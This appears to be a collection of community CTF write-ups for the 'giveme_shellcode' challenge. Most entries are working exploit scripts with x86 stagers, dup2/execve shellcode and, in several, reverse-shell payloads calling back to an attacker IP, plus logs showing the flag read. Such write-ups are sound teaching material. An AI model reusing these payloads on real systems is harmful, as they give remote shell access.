Skip to content

Latest commit

 

History

History
524 lines (428 loc) · 13.6 KB

File metadata and controls

524 lines (428 loc) · 13.6 KB

Writeup for giveme_shellcode

@No___Op

12byteしか読み込まないから
bits 32
section .text
global _start
_start:
 lea ecx, [eax]
 push BYTE 0x03
 pop eax
 push BYTE 0xff
 pop edx
 int 0x80

\x5b\x5b\x59\x6a\x03\x58\x6a\xff\x5a\xcd\x80 でread(4, buf, 0xff)

あとはdup2(4, 0) + dup2(4, 1) + dup2(4, 2) + execve('/bin/sh')なシェルコード読み込ませる

@encry1024

#coding: ascii-8bit
require 'pwnlib.rb'

host = "localhost"
port = 17039

if ARGV[0] == "r"
  host = "pwnable.katsudon.org"
  port = 17039
end

PwnTube.open(host, port) do |tube|

  bss  = 0x804a054
  vuln = 0x80485cd

  payload = ""
  payload << "\xbf" + p32(vuln) # mov edi, 0x80485cd
  payload << "\xff\xe7"                 # jmp edi
  payload << "A" * 5                       # padding

  # http://inaz2.hatenablog.com/entry/2014/07/01/013544
  # dup(2,0),dup(1,0) -> dup(4,0), dup(4,1)

  "\x31\xc9\x8d\x59\x04\x8d\x41\x3f\xcd\x80\x8d\x41\x3f\x41\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80".scan(/./).each_with_index do |c, i|
    payload << "\xc6\x05" + p32(bss + i) + c # mov BYTE [0x804a054 + i], c
    payload << "\xff\xe7" + "A" * 3                   # jmp edi
  end

  payload << "\xbf" + p32(bss)    # mov edi, 0x804a054
  payload << "\xff\xe7"                 # jmp edi
  payload << "A" * 5                       # padding

  tube.send("#{payload}\n")
  tube.shell
end

@0xfeeb

*****************giveme_shellcode.py***********************
from pwn import *

s = remote("pwnable.katsudon.org", 17039)
#s = remote("localhost",17039)

reread =  "\x83\x2C\x24\x25\x83\x44\x24\x0C\x7f\xC3"
"""
        sub     dword ptr[esp],25
        add     dword ptr[esp+0c],7f
        ret
"""
shellcode ="\xeb\x3e"+ "\x90"*0x40  + "\x31\xd2\x31\xc9\x8d\x5a\x04\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x41\x8d\x42\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
"""
        /* dup2(4, 0) */
        xor edx, edx
        xor ecx, ecx
        lea ebx, [edx+4]
        lea eax, [edx+63]
        int 0x80
        /* dup2(4, 1) */
        inc ecx
        lea eax, [edx+63]
        int 0x80
        /* dup2(4, 2) */
        inc ecx
        lea eax, [edx+63]
        int 0x80
        /* execve("/bin//sh", {"/bin//sh", NULL}, NULL) */
        xor edx, edx
        push edx
        push 0x68732f2f
        push 0x6e69622f
        mov ebx, esp
        push edx
        push ebx
        mov ecx, esp
        lea eax, [edx+11]
        int 0x80
"""
print "send reread PLZ PRESS ENTER KEY"
raw_input()
s.send(reread)
print "send shellcode PLZ PRESS ENTER KEY"
raw_input()
s.send(shellcode)
s.interactive()
*******************************end here*********************

$ python givemeshell.py 
[+] Opening connection to pwnable.katsudon.org on port 17039: Done
send reread PLZ PRESS ENTER KEY

send shellcode PLZ PRESS ENTER KEY

[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag
giveme_shellcode
home
lib
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
$ cat flag
5H3LLC0D3_G0Lf_15_345Y
$  




@Ga_ryo_

 (python -c "shellcode = '(省略:reverse-shell)'; print '\x58\x89\x44\x24\x08\x51\x68\x10\x84\x04\x08\xc3' + shellcode";cat) |  nc pwnable.katsudon.org 17039

------------------------------------------------
pop eax #return addressが邪魔なのでpop
mov [esp+0x8], eax #ついでにreadの文字数のところに入れて文字数超多くする
push ecx # return addressのため(stackのアドレスが入っている),
push 0x8048410  # read@pltでまた同じ所に大量書き込みする
ret #たくさん書き込んだので再び同じ所にreturn

stack上に残ってたreadの引数を文字数だけ増やして再利用した.

@ctf_shiho

from roputils import *

#p = Proc(host="localhost", port=17039)
p = Proc(host="pwnable.katsudon.org", port=17039)
rop = ROP("./giveme_shellcode-eebca4141478c0dc649459a2d897bc2a")
addr_stage = rop.section(".bss") + 0x400

"""
mov dl,0xff
mov ecx,esp
mov ebx,[ebp+8]
push 3
pop eax
int 0x80
"""
b1 = "b2ff89e18b5d086a0358cd80".decode("hex")

p.write(b1)

b2 = "\x90"*64
b2 += Shellcode("i386").reverse_shell("### IP Address Here ###", 51234)

p.write(b2)

@shift_crops

#!/usr/bin/env python
from struct import *
import sys
import socket

argvs   = sys.argv
rhp     = ("ctf.katsudon.org", 17039)
sh      = "/bin/sh"

#==============================

nc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
nc.settimeout(5.0)
nc.connect(rhp)

#exploit(read)
exploit =  "\x58"               #pop    %eax
exploit += "\xc1\xe8\x14"       #shr    $0x14,%eax
exploit += "\x92"               #xchg   %eax,%edx
exploit += "\x2c\x09"           #sub    $0x9,%al
exploit += "\x89\xc3"           #mov    %eax,%ebx
exploit += "\x43"               #inc    %ebx
exploit += "\xcd\x80"           #int    $0x80

nc.sendall(exploit)
nc.sendall(sh+"\x00"*(0xc-len(sh)))

#payload
#_start
payload =  "\x31\xc0"           #xor    %eax,%eax
payload += "\x6a\x04"           #push   $0x4
payload += "\x5b"               #pop    %ebx
payload += "\x89\xca"           #mov    %ecx,%edx
payload += "\x31\xc9"           #xor    %ecx,%ecx

#for(i=0;i<3;i++)
#   dup(4,i);
payload += "\xb0\x3f"           #mov    $0x3f,%al
payload += "\xcd\x80"           #int    $0x80
payload += "\x41"               #inc    %ecx
payload += "\x83\xf9\x03"       #cmp    $0x3,%ecx
payload += "\x72\xf6"           #jb     7 <dup>

#exec("/bin/sh",["/bin/sh",NULL],NULL)
payload += "\x87\xda"           #xchg   %ebx,%edx
payload += "\x6a\x00"           #push   $0x0
payload += "\x53"               #push   %ebx
payload += "\x89\xe1"           #mov    %esp,%ecx
payload += "\x31\xd2"           #xor    %edx,%edx
payload += "\xb0\x0b"           #mov    $0xb,%al
payload += "\xcd\x80"           #int    $0x80

nc.sendall(payload)

#==============================

cmd=""
while cmd!="exit":
    cmd = raw_input("$")
    if len(cmd)>0:
        nc.sendall(cmd + "\x0a")
        
    rsp = ""
    try:
        while len(rsp)%1024==0:
            rsp += nc.recv(1024)
    except:
        rsp += "Response Timeout"
    finally:
        print rsp

nc.close()

#==============================

@_wata1221

#! c:/Python27/python.exe
# -*- coding: utf-8 -*-

import socket
import struct

host = 'ctf.katsudon.org'
port = 17039

sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))

shellcode = (
    # dup2(ebp[8], 2), dup2(ebp[8], 1), dup2(ebp[8], 0)
    '90 90 90 90 90 90 90 90'
    '31 c0'                  # xor    eax,eax
    'BB 04 00 00 00'         # mov    ebx,0x4
    '6a 02'                  # push   0x2
    '59'                     # pop    ecx
                             # dup_loop:
    'b0 3f'                  # mov    al,0x3f
    'cd 80'                  # int    0x80
    '49'                     # dec    ecx
    '79 f9'                  # jns    80483c0 <dup_loop>
    # execve("/bin//sh", ["/bin//sh",NULL])
    '31 d2'                  # xor    edx,edx
    '31 c0'                  # xor    eax,eax
    'b0 0b'                  # mov    al,0xb
    '52'                     # push   edx
    '68 2f 2f 73 68'         # push   0x68732f2f
    '68 2f 62 69 6e'         # push   0x6e69622f
    '89 e3'                  # mov    ebx,esp
    '52'                     # push   edx
    '53'                     # push   ebx
    '89 e1'                  # mov    ecx,esp
    'cd 80'                  # int    0x80
).replace(' ','').decode('hex')


"""
# 1byte write the shellcode
buf ="\x58"					# pop eax
buf+="\xc6\x44\x24\x08\x7F"	# mov byte [esp+0x08], 0x7f
buf+="\x68\xFB\x85\x04\x08"	# push 0x080485FB
buf+="\xc3"					# ret
"""

buf=""
shift=0x30
for i,b in enumerate(shellcode):
	tmp ="\x58"
	tmp+="\xc6\x44\x24%c%c"%(i+shift,b)
	tmp+="\x68\xFB\x85\x04\x08"
	tmp+="\xc3"
	buf+=tmp+"\x90"*(12-len(tmp))

buf+="\x8d\x44\x24%c"%(shift+4)	#lea eax, [esp+0xa0]
buf+="\x50\xc3"				# push eax ret


sock.send(buf)

while 1:
	sock.send(raw_input(">")+"\n")
	print sock.recv(1024)

@ashigirl96

58 c6 44 24 08 ed 66 2d 25 00 50 c3
90 90 90 90
eb 17
90 90 90 90 90
90 90 90 90 90
90 90 90 90 90
90 90 90 90 90
90 90 90 90 90
90 90 90 90 90
BB 04 00 00 00 
6a 02
59
31 c0
b0 3f
cd 80
49
79 f9
31 d2
31 c0
b0 0b
52
68 2f 2f 73 68
68 2f 62 69 6e
89 e3
52
53
89 e1
cd 80

@Bono_iPad

The problem is simple. All we need is "nc" to the server and send the binary shellcode. Once shellcode is accepted, they create a new process by fork() and execute it. Furthermore, we can use "\x00". It sounds easy! But of cource, there are some problems.

 80485e6:	c7 44 24 08 0c 00 00 	movl   $0xc,0x8(%esp)
 80485ed:	00 
 80485ee:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 80485f1:	89 44 24 04          	mov    %eax,0x4(%esp)
 80485f5:	8b 45 08             	mov    0x8(%ebp),%eax
 80485f8:	89 04 24             	mov    %eax,(%esp)
 80485fb:	e8 10 fe ff ff       	call   8048410 <read@plt>
 8048600:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048603:	83 7d f4 00          	cmpl   $0x0,-0xc(%ebp)
 8048607:	79 0c                	jns    8048615 <close@plt+0x155>
 8048609:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048610:	e8 4b fe ff ff       	call   8048460 <exit@plt>
 8048615:	8d 45 e4             	lea    -0x1c(%ebp),%eax
 8048618:	89 45 f0             	mov    %eax,-0x10(%ebp)
 804861b:	8b 45 f0             	mov    -0x10(%ebp),%eax
 804861e:	ff d0                	call   *%eax    # exec shellcode!

Problem 1. In 0x80485fb, only 0x0c bytes of my shellcode were read. Others were still waiting for read.

Solution 1.
We can change read()'s size by this shellcode and return to 0x80485fb. Only 10 bytes. (last two "0xc3" is padding)
#   0:	83 2c 24 25          	subl   $0x25,(%esp)  # return address 0x8048620 -> 0x80485fb
#   4:	83 44 24 0c 46       	addl   $0x46,0xc(%esp) # read 12 bytes -> 82 bytes
#   9:	c3                   	ret    
#   a:	c3                   	ret    
#   b:	c3                   	ret    
# (read 0x46 + 0xc = 82bytes)

Problem 2. In 0x8048600, "mov %eax,-0xc(%ebp)" broke our shellcode! 

Solution 2.
"\xE9\x1B\x00\x00\x00\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\xE9\x1C\x00\x00\x00\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16" 
#    0:	e9 1b 00 00 00       	jmp    0x20
\x06 - \x16 is padding.

Problem 3. I can't use connect-back shell due to our institution's firewall settings.

Solution 3. You can reuse the socket and spawn a shell from there. dup2(?,0) dup2(?,1) dup2(?,2) will make it possible. ? is our socket's file discriptor. It must not be a large number, so try bruteforcing...3 is not correct...oh it's 4.

Here is my final solution.

GMS.py:
---
shellcode = "\x83\x2C\x24\x25\x83\x44\x24\x0C\x46\xC3\xc3\xc3" # first 12 bytes
#   0:	83 2c 24 25          	subl   $0x25,(%esp)
#   4:	83 44 24 0c 46       	addl   $0x46,0xc(%esp)
#   9:	c3                   	ret    
#   a:	c3                   	ret    
#   b:	c3                   	ret    
# (read 0x46 + 0xc = 82 bytes)

shellcode = shellcode + "\xE9\x1B\x00\x00\x00\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\xE9\x1C\x00\x00\x00\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16" # jump to 0x20 bytes & padding

# dup2(?,0) dup2(?,1) dup2(?,2) - 17 bytes
# ? = 4
# http://blog.stalkr.net/2011/04/pctf-2011-22-hashcalc1.html
SC = "\x31\xc9\x31\xdb\xb3\x04\x6a\x3f\x58\xcd\x80\x41\x80\xf9\x03\x75\xf5"
# /bin/sh - 23 bytes
SC += "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
# total 40 bytes
# 32 + 40 < 82

shellcode = shellcode + SC

print shellcode
---

On the terminal: 
→$ { python GMS.py; cat; } | nc ctf.katsudon.org 17039
→ls
bin
boot
dev
etc
flag
giveme_shellcode
home
lib
media
mnt
opt
proc
root
run
sbin
selinux
srv
sys
tmp
usr
var
→id  
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
→cat flag
5H3LLC0D3_G0Lf_15_345Y
→exit

FLAG: 5H3LLC0D3_G0Lf_15_345Y

I really enjoyed this problem!
Thanks to @akiym!

@bata_24

This service executes the 12bytes data you sent, so let's write stager. 
Send it with shellcode, then you'll get a connect-back shell :)

#!/usr/bin/python
# -*- coding: utf-8 -*-
import struct, socket, time

localip, localport = "your global IP", 80

# linux/x86/shell_reverse_tcp2
shellcode = "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68"+socket.inet_aton(localip)+"\x66\x68"+struct.pack(">H", localport)+"\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd\x80\x52\x68"+"//sh"+"\x68"+"/bin"+"\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

"""
root@Ubuntu64:~/ctf/akictf/giveme_shellcode# cat sc.lst
     1                                  BITS 32
     2 00000000 91                        xchg   ecx, eax
     3 00000001 6A03                      push   byte 0x3 ; eax = NR_read
     4 00000003 58                        pop    eax
     5 00000004 6A04                      push   byte 0x4 ; ebx = fd
     6 00000006 5B                        pop    ebx
     7 00000007 6A7F                      push   byte 0x7f; edx = size
     8 00000009 5A                        pop    edx
     9 0000000A CD80                      int    0x80
"""
stager = "\x91\x6A\x03\x58\x6A\x04\x5B\x6A\x7F\x5A\xCD\x80"

f = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
f.connect(("ctf.katsudon.org", 17039))
f.send(stager)
time.sleep(1)
f.send("\x90"*12 + shellcode)